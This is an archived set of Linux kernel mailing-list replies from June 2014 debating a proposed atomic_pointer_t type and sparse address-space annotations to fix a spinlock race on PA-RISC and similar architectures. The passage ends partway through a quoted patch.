X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 07:07:27 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20140603140727.GM22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
 <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <20140603073613.GH11096@twins.programming.kicks-ass.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401807615 1920 80.91.229.3 (3 Jun 2014 15:00:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 15:00:15 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 17:00:03 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrqC1-0000aR-LV
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 17:00:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754651AbaFCPAA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 11:00:00 -0400
Original-Received: from e32.co.us.ibm.com ([32.97.110.150]:39933 "EHLO
	e32.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752096AbaFCO77 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 10:59:59 -0400
Original-Received: from /spool/local
	by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Tue, 3 Jun 2014 08:59:59 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 3 Jun 2014 08:59:56 -0600
Original-Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id ACA463E4003B;
	Tue,  3 Jun 2014 08:59:55 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s53EwfE88388890;
	Tue, 3 Jun 2014 16:58:41 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s53F3ruB016029;
	Tue, 3 Jun 2014 09:03:56 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s53F3rME016013;
	Tue, 3 Jun 2014 09:03:53 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 6DF393814C4; Tue,  3 Jun 2014 07:07:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20140603073613.GH11096@twins.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060314-0928-0000-0000-0000026D99A5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5867 gmane.linux.kernel:1717176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5867>

On Tue, Jun 03, 2014 at 09:36:13AM +0200, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 05:12:16PM -0400, Mikulas Patocka wrote:
> > The patch adds atomic_pointer_t for all architectures - it is in the 
> > common code and it is backed by atomic_long_t (that already exists for all 
> > architectures). There is no new arch-specific code at all.
> > 
> > When we have atomic_pointer_t, we can find the instances of xchg() and 
> > cmpxchg() and convert them to atomic_pointer_t (or to other atomic*_t 
> > types).
> > 
> > When we convert them all, we can drop xchg() and cmpxchg() at all (at 
> > least from architecture-neutral code).
> > 
> > The problem with xchg() and cmpxchg() is that they are very easy to 
> > misuse. Peter Zijlstra didn't know that they are not atomic w.r.t. normal 
> > stores, a lot of other people don't know it too - and if we allow these 
> > functions to be used, this race condition will reappear in the future 
> > again and again.
> > 
> > That's why I'm proposing atomic_pointer_t - it guarantees that this race 
> > condition can't be made.
> 
> But its horrible, and doesn't have any benefit afaict.
> 
> So if we really want to keep supporting these platforms; I would propose
> something like:
> 
> #ifdef __CHECKER__
> #define __atomic	__attribute__((address_space(5)))
> #else
> #define __atomic
> #endif
> 
> #define store(p, v)	(*(p) = (typeof(*(p)) __force __atomic)(v))
> #define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))
> 
> Along with changes to xchg() and cmpxchg() that require them to take
> pointers to __atomic.
> 
> That way we keep the flexibility of xchg() and cmpxchg() for being
> (mostly) type and size invariant, and get sparse to find wrong usage.
> 
> Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
> store() however they like.

Should be fun interacting with atomic operations on __rcu variables
(address space 4).  Of course, that is already fun...

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 17:09:08 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20140603150908.GW30445@twins.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
 <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <20140603073613.GH11096@twins.programming.kicks-ass.net>
 <20140603140727.GM22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Aud9EHxdAK8dTD3F"
X-Trace: ger.gmane.org 1401808170 9092 80.91.229.3 (3 Jun 2014 15:09:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 15:09:30 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>, sparse@chrisli.org
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 17:09:20 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrqL1-0006Lp-On
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 17:09:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932244AbaFCPJS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 11:09:18 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:42065 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932080AbaFCPJS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 11:09:18 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins)
	by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrqKw-00019M-8a; Tue, 03 Jun 2014 15:09:14 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id 7D51E810DDD4; Tue,  3 Jun 2014 17:09:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20140603140727.GM22231@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5868 gmane.linux.kernel:1717183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5868>


--Aud9EHxdAK8dTD3F
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 03, 2014 at 07:07:27AM -0700, Paul E. McKenney wrote:
> On Tue, Jun 03, 2014 at 09:36:13AM +0200, Peter Zijlstra wrote:
> >=20
> > #ifdef __CHECKER__
> > #define __atomic	__attribute__((address_space(5)))
> > #else
> > #define __atomic
> > #endif
> >=20
> > #define store(p, v)	(*(p) =3D (typeof(*(p)) __force __atomic)(v))
> > #define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))
> >=20
> > Along with changes to xchg() and cmpxchg() that require them to take
> > pointers to __atomic.
> >=20
> > That way we keep the flexibility of xchg() and cmpxchg() for being
> > (mostly) type and size invariant, and get sparse to find wrong usage.
> >=20
> > Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
> > store() however they like.
>=20
> Should be fun interacting with atomic operations on __rcu variables
> (address space 4).  Of course, that is already fun...
>=20

Hmm, good point, I suppose sparse doesn't like two different
address_space annotations on the same variable ?

/me adds Christpoher Li to the CC list.

ISTR Mikulas actually listing one such, me digs in recent email..

> $ grep -w "fdt->fd" */*.c
> fs/file.c:      free_fdmem(fdt->fd);
> fs/file.c:      fdt->fd =3D data;
> fs/file.c:      free_fdmem(fdt->fd);
> fs/file.c:                              struct file * file =3D xchg(&fdt-=
>fd[i], NULL);

So yes, that's going to be fun, mostly because rcu_assign_pointer()
doesn't actually do the right magic for this to be safe on their
platform(s).



--Aud9EHxdAK8dTD3F
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJTjeUUAAoJEHZH4aRLwOS6fisP/07P8wBlEH4qC13SCTzXVmhp
YWI9JQLjLCr1Hlgiv7swJNCDhgXmY6sh1wm+2HQXuQTUrV71Bh/UfkILSiUV/mnJ
5qwJQo/sEj/0T9lzACmazPH9Gi0eJjNjLtY/sppoWSeB5P3ET51LYyMCmW9i31sE
zcrcJgt8X75P1uHvECeG4rKXa+jWcXO9EqZllWLXRWUPPOauCoKSa+BMu+TcJJlr
OiwKbUjtBLPt8ZbhGw+rmSx5OlOhgNirv4kstGdcq4z6fF0T8YRnRWvSQiaoXbgs
VTSatBjI4p6qMX5IGVA008qyxppxQPgCNMZzauCXCPjpa8KO4OLbw5rAfgdfYv/i
MpwpSITf4DazlC9F2S9Jc/7M5NnHEt6LtGGjDeJVs49miFDs00F38lC/1EmkQLon
Bt3D7w/6y7IMmCGT9sNnunzsaW1thK9otlXCHARdWsrhkQCv/B8QXKv603ioYtWo
vbHeDDAIsaqPNVpD0X1ydfbfX9nw0Y5OMFF5JG4/kxgxhorfutHOnSB/2mjdF0ge
eBK69lIKsYyMjQR2H5hIuVLRoRHLwfoaRFncQjY3Xc59m0xefepyoK9QFh6yzsN9
ooVIkHIGB9PQwwQ9zlUeeARO3FH0YPBgLgOJFVaQs1dsRP8HmN2W3KIPEEClqRvu
9LqIs4cnUnZLerupqXoi
=yPLl
-----END PGP SIGNATURE-----

--Aud9EHxdAK8dTD3F--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 08:56:18 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20140603155618.GR22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
 <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <20140603073613.GH11096@twins.programming.kicks-ass.net>
 <20140603140727.GM22231@linux.vnet.ibm.com>
 <20140603150908.GW30445@twins.programming.kicks-ass.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401810996 14510 80.91.229.3 (3 Jun 2014 15:56:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 15:56:36 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>, sparse@chrisli.org
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 17:56:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrr4b-0004Fb-JK
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 17:56:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932791AbaFCP4Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 11:56:24 -0400
Original-Received: from e36.co.us.ibm.com ([32.97.110.154]:39005 "EHLO
	e36.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932762AbaFCP4X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 11:56:23 -0400
Original-Received: from /spool/local
	by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Tue, 3 Jun 2014 09:56:22 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 3 Jun 2014 09:56:21 -0600
Original-Received: from b03cxnp08028.gho.boulder.ibm.com (b03cxnp08028.gho.boulder.ibm.com [9.17.130.20])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id EC2B119D803F;
	Tue,  3 Jun 2014 09:56:13 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s53FuL939503210;
	Tue, 3 Jun 2014 17:56:21 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s53G0KRe008784;
	Tue, 3 Jun 2014 10:00:21 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s53G0JuJ008752;
	Tue, 3 Jun 2014 10:00:19 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id B86443810D8; Tue,  3 Jun 2014 08:56:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20140603150908.GW30445@twins.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060315-3532-0000-0000-000002372478
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5869 gmane.linux.kernel:1717228
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5869>

On Tue, Jun 03, 2014 at 05:09:08PM +0200, Peter Zijlstra wrote:
> On Tue, Jun 03, 2014 at 07:07:27AM -0700, Paul E. McKenney wrote:
> > On Tue, Jun 03, 2014 at 09:36:13AM +0200, Peter Zijlstra wrote:
> > > 
> > > #ifdef __CHECKER__
> > > #define __atomic	__attribute__((address_space(5)))
> > > #else
> > > #define __atomic
> > > #endif
> > > 
> > > #define store(p, v)	(*(p) = (typeof(*(p)) __force __atomic)(v))
> > > #define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))
> > > 
> > > Along with changes to xchg() and cmpxchg() that require them to take
> > > pointers to __atomic.
> > > 
> > > That way we keep the flexibility of xchg() and cmpxchg() for being
> > > (mostly) type and size invariant, and get sparse to find wrong usage.
> > > 
> > > Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
> > > store() however they like.
> > 
> > Should be fun interacting with atomic operations on __rcu variables
> > (address space 4).  Of course, that is already fun...
> > 
> 
> Hmm, good point, I suppose sparse doesn't like two different
> address_space annotations on the same variable ?
> 
> /me adds Christpoher Li to the CC list.
> 
> ISTR Mikulas actually listing one such, me digs in recent email..
> 
> > $ grep -w "fdt->fd" */*.c
> > fs/file.c:      free_fdmem(fdt->fd);
> > fs/file.c:      fdt->fd = data;
> > fs/file.c:      free_fdmem(fdt->fd);
> > fs/file.c:                              struct file * file = xchg(&fdt->fd[i], NULL);
> 
> So yes, that's going to be fun, mostly because rcu_assign_pointer()
> doesn't actually do the right magic for this to be safe on their
> platform(s).

Maybe at some point sparse needs to keep a bit mask for the address
spaces, so that you caould say somthing like:

	struct foo __atomic __rcu *p;

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 09:48:26 -0700
Lines: 149
Approved: news@gmane.org
Message-ID: <20140603164826.GA22288@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
 <20140602210227.GE22231@linux.vnet.ibm.com>
 <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
 <20140602220831.GG22231@linux.vnet.ibm.com>
 <CA+55aFz7P0y1gZx7K2TCAKE7JQ6XseEprqXAQEOdq-j540KRYA@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401814198 26138 80.91.229.3 (3 Jun 2014 16:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 16:49:58 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 03 18:49:48 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Wrrtq-0003Pt-Iy
	for glk-linux-kernel-3@plane.gmane.org; Tue, 03 Jun 2014 18:49:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965498AbaFCQsi (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Jun 2014 12:48:38 -0400
Original-Received: from e31.co.us.ibm.com ([32.97.110.149]:48296 "EHLO
	e31.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965312AbaFCQse (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Jun 2014 12:48:34 -0400
Original-Received: from /spool/local
	by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Tue, 3 Jun 2014 10:48:33 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 3 Jun 2014 10:48:29 -0600
Original-Received: from b03cxnp08025.gho.boulder.ibm.com (b03cxnp08025.gho.boulder.ibm.com [9.17.130.17])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 7BC59C40002;
	Tue,  3 Jun 2014 10:48:28 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08025.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s53GmSLn4981222;
	Tue, 3 Jun 2014 18:48:28 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s53GqRoG027763;
	Tue, 3 Jun 2014 10:52:29 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s53GqRNY027740;
	Tue, 3 Jun 2014 10:52:27 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 96A3F3810D8; Tue,  3 Jun 2014 09:48:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CA+55aFz7P0y1gZx7K2TCAKE7JQ6XseEprqXAQEOdq-j540KRYA@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060316-8236-0000-0000-000002D39F0E
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1717252 gmane.linux.ports.parisc:5870
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1717252>

On Mon, Jun 02, 2014 at 03:55:57PM -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 3:08 PM, Paul E. McKenney
> <paulmck@linux.vnet.ibm.com> wrote:
> >
> > rcu: Eliminate read-modify-write ACCESS_ONCE() calls
> >
> >         preempt_disable();
> > -       ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
> > +       lp = this_cpu_ptr(&sp->per_cpu_ref->c[idx]);
> > +       ACCESS_ONCE(*lp) = *lp + 1;
